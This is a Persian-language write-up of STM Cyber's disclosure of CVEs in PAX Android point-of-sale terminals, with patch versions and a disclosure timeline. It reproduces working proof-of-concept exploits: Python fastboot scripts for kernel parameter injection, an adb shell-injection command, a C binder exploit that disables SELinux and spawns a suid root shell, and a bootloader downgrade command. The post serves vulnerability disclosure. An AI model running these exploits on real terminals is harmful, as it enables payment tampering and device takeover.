اغلب شرکت های بانکی در سراسر جهان، به جای استفاده از دستگاههای Point of Sale (POS) سفارشی ، در حال حرکت به سمت دستگاههای POS با سیستم عامل اندروید هستن. دستگاه هایی با صفحات لمسی و رنگی بجای دستگاههای قدیمی با صفحه کیبورد و صفحه نمایش دو رنگ . اگرچه اندروید یه سیستم عامل امن و مطمئن هستش، اما ادغام و پیاده سازی اون با سخت افزار سفارشی نیازمند زمان و تلاش زیاد هستش.
محققای STM Cyber، یه بررسی روی دستگاههای POS شرکت PAX انجام دادن و با مهندسی معکوس و آنالیز اونا تونستن 6 آسیب پذیری رو در اونا کشف و گزارش کنن. محصولات اندرویدی این شرکت، روی یه نسخه سفارشی از اندروید بنام PayDroid کار میکنن.
PAX Technology یه کمپانی چینی هستش که در زمینه راه حل های پرداخت الکترونیک، از جمله سخت افزار پردازش پرداخت، پایانه های نقطه فروش یا همون POS فعالیت داره. این کمپانی به دلیل ارائه محصولات نوآورانه در زمینه پرداخت، در دنیا شناخته شده هستش. تا جاییکه یادمه برخی محصولات این کمپانی در ایران هم استفاده میشد.
با توجه به سندباکس موجود در اندروید ، برنامه ها نمیتونن با هم تداخل داشته باشن. با این حال برخی از برنامه ها برای کنترل بخش های خاصی از دستگاه ، به امتیازات بالاتری نیاز دارن، بنابراین بعنوان کاربر با امتیاز بالاتر اجرا میشن. با این حال ، اگه مهاجمی بتونه امتیاز خودش رو به کاربر root افزایش بده، میتونه هر برنامه ای ، از جمله بخش های خاصی از عملیات پرداخت رو دستکاری کنه. در حالی که مهاجم همچنان نمیتونه به اطلاعات رمزگشایی شده دریافت کننده وجه ( مانند اطلاعات کارت اعتباری) دسترسی پیدا کنه، چون اینا در یه قسمتی بنام Secure Processor (SP) پردازش میشن، اما میتونه داده هایی که برنامه ی فروش به SP می فرسته ، مثلا مبلغ تراکنش ، رو دستکاری کنه. دسترسی به سایر اکانت های دارای امتیاز بالا، مثلا system ، میتونه ارزشمند باشه، چون سطح حمله به اکانت root رو میتونه بسیار بزرگتر بکنه.
محققای STM Cyber برای جستجوی آسیب پذیری در این دستگاهها، روی دو بردار حمله متمرکز بودن :
- اجرای کد بصورت محلی از بوت لودر ، که به هیچ امتیازی به غیر از دسترسی به پورت USB دستگاه نیاز نداره. با اینکه برای این حمله نیاز به دسترسی فیزیکی به دستگاه هستش، اما با توجه به ماهیت دستگاه های POS ، میتونه یه بردار حمله ی جالب باشه. با توجه به اینکه دستگاه های POS شرکت PAX از CPUهای شرکت های مختلف استفاده میکنن، بنابراین بوت لودر های مختلفی هم دارن. محققا تونستن آسیب پذیری CVE-2023-4818 رو روی PAX A920 پیدا کنن و همچنین آسیب پذیری های CVE-2023-42134 و CVE-2023-42135 رو روی A920Pro و A50 .
- افزایش امتیاز به کاربر سیستم. آسیب پذیری های این کلاس، در خود سیستم PaxDroid هستن، بنابراین همه ی دستگاههای POS اندرویدی PAX رو تحت تاثیر قرار میده. آسیب پذیری CVE-2023-42136 امکان افزایش امتیاز از هر کاربری به کاربر System رو میده و منجر به افزایش سطح حمله میشه.
آسیب پذیری CVE-2023-42134 :
- نوع آسیب پذیری : اجرای کد بصورت محلی با امتیاز root از طریق Kernel Parameter Injection در fastboot- نیاز به دسترسی فیزیکی به USB
- محصولات تحت تاثیر: PAX A920Pro/PAX A50
- امتیاز : 7.6
- نسخه آسیب پذیر : همه ی نسخه ها تا PayDroid 8.1.0_Sagittarius_11.1.50_20230314
- نسخه ی اصلاح شده: PayDroid 8.1.0_Sagittarius_V02.9.99T9_20230919
با اجرای دستور مخفی oem paxassert در حالت fastboot ، امکان بازنویسی، پارتیشن بدون امضای pax1 وجود داره. این منجر به تزریق آرگومانهای کرنل و در نتیجه منجر به اجرای کد دلخواه میشه. تابع مدیریت فلش Fastboot در ابتدا بررسی میکنه که آیا میخواییم یه پارتیشن خاصی رو فلش کنیم یا نه :
اگه نام پارتیشن ارائه شده، pax1 و paxAssert باشه، پیکربندی اعمال میشه :
pax1 یه پارتیشن خاصیه که دارای filesystem نیست، اما بیشتر بعنوان یه نقشه ی پیکربندی عمل میکنه. مقادیر معینی از این نقشه، بعنوان پارامترهای کرنل استفاده میشن ( در مقادیر اونا فاصله هستش) و به ما امکان Kernel Parameter Injection میدن.
در زیر یه نمونه POC برای این کار رو مشاهده میکنید که Kernel Parameter Injection رو با rootfs سفارشی که از یه بافر fastboot اجرا میشه رو زنجیر کرده. تکنیک کامل رو میتونید اینجا مشاهده کنید.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 |
from pathlib import Path import sys import tempfile from contextlib import contextmanager from usb1 import USBContext, USBError, USBDeviceHandle # these 4 values may need to be changed on per-product basis: PAX_VID = 0x2fb8 PAX_PID = 0x2240 ep_in = 0x85 ep_out = 0x06 # we assume this will be used only after open_fastboot g_handle: USBDeviceHandle = None # type: ignore def send(bytez: bytes) -> None: print(f"Sending {len(bytez)} {bytez[:0x18]}...") g_handle.bulkWrite(ep_out, bytez) def recv(count: int = 512) -> bytes: data = g_handle.bulkRead(ep_in, count) print("Got status", data) return data def cmd(data: bytes) -> bytes: send(data) return recv() def check_status(expected, received): if received != expected: raise RuntimeError(f"Expected status {expected}, got, {received}") @contextmanager def open_fastboot(*args, **kwargs): with USBContext() as ctx: device = ctx.getByVendorIDAndProductID(PAX_VID, PAX_PID) if device is None: print("Device not found") exit(1) try: global g_handle g_handle = device.open() except USBError: print("Failed to open USB device") exit(1) with g_handle.claimInterface(0): yield def upload_image(path: Path) -> None: total_size = path.stat().st_size send(f"download:{total_size:08x}".encode()) response = recv() check_status(b"DATA", response[:4]) with open(path, "rb") as file: while True: data = file.read(512) if not data: break send(data) response = recv() check_status(b"OKAY", response) def flash(partition_name: str) -> None: check_status(b"OKAY", cmd(f"flash:{partition_name}".encode())) def upload_data(bytez: bytes) -> None: # yes, I know this could be done better but I'm too lazy with tempfile.NamedTemporaryFile() as tmp: tmp.write(bytez) tmp.flush() upload_image(Path(tmp.name)) if __name__ == "__main__": if len(sys.argv) != 2: print("invalid number of parameters, please provide image") sys.exit(1) initrd_image = Path(sys.argv[1]) initrd_size = initrd_image.stat().st_size with open_fastboot(): print("enabling paxassert") upload_data(b"yes\x00") check_status(cmd(b"oem paxassert"), b"OKAY") print("pushing pax1 partition") upload_data(f'LOCALE="pl-PL initrd=0x82000000,{initrd_size}"'.encode()) print("flashing pax1") flash("pax1") print("pushing initrd") upload_image(initrd_image) check_status(b"OKAY", cmd(b"continue")) |
آسیب پذیری CVE-2023-42135 :
- نوع آسیب پذیری : اجرای کد بصورت محلی با امتیاز root از طریق Kernel Parameter Injection در fastboot- نیاز به دسترسی فیزیکی به USB
- محصولات تحت تاثیر: PAX A920Pro/PAX A50
- امتیاز : 7.6
- نسخه آسیب پذیر : همه ی نسخه ها تا PayDroid 8.1.0_Sagittarius_11.1.50_20230314
- نسخه ی اصلاح شده: PayDroid 8.1.0_Sagittarius_V02.9.99T9_20230919
محتویات یه پارتیشن بدون امضاء بنام exsn رو میشه به لیست آرگومانهای کرنل الحاق (concatenate) کرد. اگه این پارتیشن exsn رو فلش کنیم، میتونیم آرگومانهای دلخواه کرنل رو تزریق کنیم که امکان اجرای کد دلخواه میده. تابع مدیریت فلش Fastboot در ابتدا بررسی میکنه که آیا میخواییم یه پارتیشن خاصی رو فلش کنیم یا نه :
مقدار exsn به کرنل پاس داده میشه و از اونجایی که exsn میتونه هر مقداری بگیره، از جمله مقداری با فاصله رو ، بنابراین امکان Kernel Parameter Injection داریم.
در زیر یه نمونه POC رو مشاهده میکنید که Kernel Parameter Injection رو با initroot سفارشی که از بافر fastboot اجرا میشه رو زنجیر میکنه. تکنیک کلی رو میتونید از اینجا مشاهده کنید.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 |
from pathlib import Path import sys import tempfile from contextlib import contextmanager from usb1 import USBContext, USBError, USBDeviceHandle # these 4 values may need to be changed on per-product basis: PAX_VID = 0x2fb8 PAX_PID = 0x2240 ep_in = 0x85 ep_out = 0x06 # we assume this will be used only after open_fastboot g_handle: USBDeviceHandle = None # type: ignore def send(bytez: bytes) -> None: print(f"Sending {len(bytez)} {bytez[:0x18]}...") g_handle.bulkWrite(ep_out, bytez) def recv(count: int = 512) -> bytes: data = g_handle.bulkRead(ep_in, count) print("Got status", data) return data def cmd(data: bytes) -> bytes: send(data) return recv() def check_status(expected, received): if received != expected: raise RuntimeError(f"Expected status {expected}, got, {received}") @contextmanager def open_fastboot(*args, **kwargs): with USBContext() as ctx: device = ctx.getByVendorIDAndProductID(PAX_VID, PAX_PID) if device is None: print("Device not found") exit(1) try: global g_handle g_handle = device.open() except USBError: print("Failed to open USB device") exit(1) with g_handle.claimInterface(0): yield def upload_image(path: Path) -> None: total_size = path.stat().st_size send(f"download:{total_size:08x}".encode()) response = recv() check_status(b"DATA", response[:4]) with open(path, "rb") as file: while True: data = file.read(512) if not data: break send(data) response = recv() check_status(b"OKAY", response) def flash(partition_name: str) -> None: check_status(b"OKAY", cmd(f"flash:{partition_name}".encode())) def upload_data(bytez: bytes) -> None: # yes, I know this could be done better but I'm too lazy with tempfile.NamedTemporaryFile() as tmp: tmp.write(bytez) tmp.flush() upload_image(Path(tmp.name)) if __name__ == "__main__": if len(sys.argv) != 2: print("invalid number of parameters, please provide image") sys.exit(1) initrd_image = Path(sys.argv[1]) initrd_size = initrd_image.stat().st_size with open_fastboot(): exsn = get_exsn() initrd_size = initrd_image.stat().st_size exsn_data = exsn + b" initrd=0x82000000," + str(int(initrd_size)).encode() print("exsn_data:", exsn_data) print("pushing exsn") upload_data(exsn_data) print("flashing exsn") flash("exsn") print("pushing initrd") upload_image(initrd_image) check_status(b"OKAY", cmd(b"continue")) |
آسیب پذیری CVE-2023-42136:
- نوع آسیب پذیری : افزایش امتیاز ار هر کاربر/برنامه به کاربر system از طریق shell injection در یه سرویس – نیاز به دسترسی shell
- محصولات تحت تاثیر: همه ی دستگاههای POS شرکت PAX که مبتنی بر اندروید هستن.
- امتیاز : 8.8
- نسخه آسیب پذیر : همه ی نسخه ها تا PayDroid 11.1.50_20230614
- نسخه ی اصلاح شده: PayDroid V02.9.99T9_20230919
سرویس اندرویدی بنام PaxSmartDeviceServcie ، دارای آسیب پذیری shell injection هستش و امتیاز هر کاربری رو به امتیاز کاربر System افزایش میده. با اینکه بررسی میکنه که دستور با dumpsys شروع بشه، اما میشه این بررسی رو با dumpsys; command
بعنوان یه پارامتر دور زد.
POC برای این آسیب پذیری :
1 |
adb shell "service call PaxSmartDeviceServcie 16 s16 'dumpsysx; id > /data/local/tmp/win'" |
آسیب پذیری CVE-2023-42137 :
- نوع آسیب پذیری : افزایش امتیاز ار کاربر system/shell به کاربر root از طریق عملیات ناامن در systool_server daemon – نیاز به دسترسی shell
- محصولات تحت تاثیر: همه ی دستگاههای POS شرکت PAX که مبتنی بر اندروید هستن.
- امتیاز : 8.8
- نسخه آسیب پذیر : همه ی نسخه ها تا PayDroid 11.1.50_20230614
- نسخه ی اصلاح شده: PayDroid V02.9.99T9_20230919
systool_server یه daemon هستش که از طریق binder در حال اجرا با امتیاز root ارائه میشه. اون یه API برای اجرای دستور miniunz با دایرکتوری ورودی و خروجی تحت کنترل کاربر ارائه میده. مهاجم میتونه یسری پارامتر دلخواه از جمله دستورات دلخواه رو تزریق کنه. علاوه بر این ، با توجه به اینکه مهاجم هم روی دایرکتوری مبدا و هم مقصد (tmp) کنترل داره، میتونه با ایجاد symbolic link مخرب در داخل دایرکتوری tmp ، این وضعیت رو دستکاری کنه. این به مهاجم این امکان رو میده تا فایلهای دلخواه رو بازنویسی کنه که منجر به افزایش امتیاز میشه. مهاجم با بازنویسی فایلهای خاص در پارتیشن /data ، میتونه امتیاز کاربر System رو داشته باشه و میتونه به یه برنامه با امتیاز system دسترسی پیدا کنه.
systool_server چندین بررسی رو برای تایید uid کالر و باینری انجام میده تا مطمئن بشه فقط باینری های مورد تایید از این API استفاده میکنن. این بررسی ها رو میشه با LD_PRELOAD دور زد. در نهایت برای ایجاد یه shell تعاملی ، میشه از mount بدون nosuid برای ایجاد یه باینری suid استفاده کرد. در زیر یه نمونه POC مشاهده میکنید :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 |
#include <errno.h> #include <fcntl.h> #include <inttypes.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <dlfcn.h> #include <unistd.h> #include "binder.h" struct binder_state *g_binder_state; uint32_t target; int binder_init() { struct binder_state* bs; bs = binder_open(128*1024); if (!bs) { fprintf(stderr, "failed to open binder driver\n"); return -1; } char b[0x200]; struct binder_io a; struct binder_io c; bio_init(&a, &b, 0x200, 4); bio_put_uint32(&a, 0); bio_put_string16_x(&a, "android.os.IServiceManager"); bio_put_string16_x(&a, "systool_binder"); int status = binder_call(bs, &a, &c, 0, 2); if (status == 0) { int status2 = bio_get_ref(&c); if (status2 != 0) { target = status2; binder_acquire(bs, status2); } binder_done(bs, &a, &c); } g_binder_state = bs; return 0; } void systoolExecShellCmdV2(char* src) { struct binder_io msg; struct binder_io reply; char buf[0x200]; bio_init(&msg, buf, 0x200, 4); bio_put_uint32(&msg, 0); bio_put_string16_x(&msg, "SystoolBinder"); bio_put_uint32(&msg, 3); // cmd bio_put_uint32(&msg, 1); // subcmd bio_put_uint32(&msg, 1); // num arguments bio_put_string16_x(&msg, src); int status = binder_call(g_binder_state, &msg, &reply, target, 18); if (status == 0) { int ret1 = bio_get_uint32(&reply); int ret2 = bio_get_uint32(&reply); binder_done(g_binder_state, &msg, &reply); printf("ExecShellCmdV2: ret1=%d ret2=%d\n", ret1, ret2); } } int executed = 0; int printf(const char* __fmt, ...) { if (executed) return 0; executed = 1; pid_t pid = getpid(); fprintf(stderr, "[*] Hello from PID %d\n", pid); char linkbuf[0x100]; readlink("/proc/self/exe", linkbuf, 0x100); fprintf(stderr, "[*] /proc/self/exe is pointing at %s\n", linkbuf); binder_init(); // prep system("rm /tmp/monitor.bin"); fprintf(stderr, "[*] disabling fs selinux\n"); system("ln -s /sys/fs/selinux/enforce /tmp/monitor.bin"); system("echo -n '0' > /data/local/tmp/zero"); systoolExecShellCmdV2("/data/local/tmp/zero"); // cleanup system("rm /data/local/tmp/zero"); system("rm /tmp/monitor.bin"); fprintf(stderr, "[*] setting up suid\n"); system("chmod +s /data/local/tmp/escalate"); fprintf(stderr, "[*] copying suid to /mnt\n"); system("ln -s /mnt/escalate /tmp/monitor.bin"); systoolExecShellCmdV2("/data/local/tmp/escalate"); // cleanup system("rm /tmp/monitor.bin"); fprintf(stderr, "[*] spawning shell\n"); execve("/mnt/escalate", NULL, NULL); return 0; } |
آسیب پذیری CVE-2023-4818 :
- نوع آسیب پذیری : کاهش نسخه ی (downgrade) بوت لودر از طریق Improper Tokenization – نیاز به دسترسی فیزیکی به USB
- محصولات تحت تاثیر: PAX A920
- امتیاز : 7.3
- نسخه آسیب پذیر : همه ی نسخه ها تا PayDroid 7.1.2_Aquarius_11.1.50_20230614
- نسخه ی اصلاح شده: PayDroid 7.1.2_Aquarius_V02.9.99T9_20230919
با سوئیچ به حالت fastboot و فلش کردن پارتیشن :about ، میشه بوت لودر رو به نسخه های آسیب پذیر و امضاء شده کاهش نسخه داد. بررسی نسخه صرف نظر میشه.
میشه از بررسی امضاء و نسخه صرف نظر کنیم، چون پارتیشن :aboot ، با نام هیچ پارتیشن شناخته شده ای مطابقت نداره :
بنابراین با استفاده از ‘:’ میتونیم توکن سازی (Tokenization) کنیم و در نتیجه بررسی نسخه رو دور بزنیم و نسخه ی بوت لودر رو به نسخه های آسیب پذیر کاهش بدیم.
منظور از توکن سازی اینه که یه متنی رو به واحد های کوچکتری تقسیم کنیم. این واحد های کوچکتر رو توکن میگن و اون چیزی که باهاش متن رو به واحد های کوچکر تقسیم میکنیم بهش جدا کننده میگن. مثلا در این مثال ما : جدا کننده هستش.
یه POC برای این آسیب پذیری این میتونه باشه :
1 |
fastboot flash 'aboot:' aboot.img |
آسیب پذیری CVE-2023-42133 :
فعلا جزییاتی از آسیب پذیری منتشر نشده. به محض انتشار، پست بروز میشه.
جدول زمانی افشاء :
- 07/04/2023 – 18 فروردین 1402: اولین تماس با کمپانی که جوابی نگرفتن.
- 08/05/2023 – 18 اردیبهشت 1402: دومین تماس با کمپانی که اینبار جوابی گرفتن.
- 10/05/2023 – 20 اردیبهشت 1402: ارسال جزییات و POC همه ی آسیب پذیری ها به کمپانی ها.
- 01/08/2023 – 10 مرداد 1402: تماس با CERT.PL برای دریافت CVE که بلافاصله جواب دادن.
- 09/10/2023 – 17 مهر 1402: تماس با کمپانی PAX برای اصلاح آسیب پذیری ها
- 30/11/2023 – 9 آذر 1402: محققای STM Cyber اصلاحیه ها رو تایید کردن.
- 15/01/2024- 25 دی 1402: انتشار عمومی
منبع :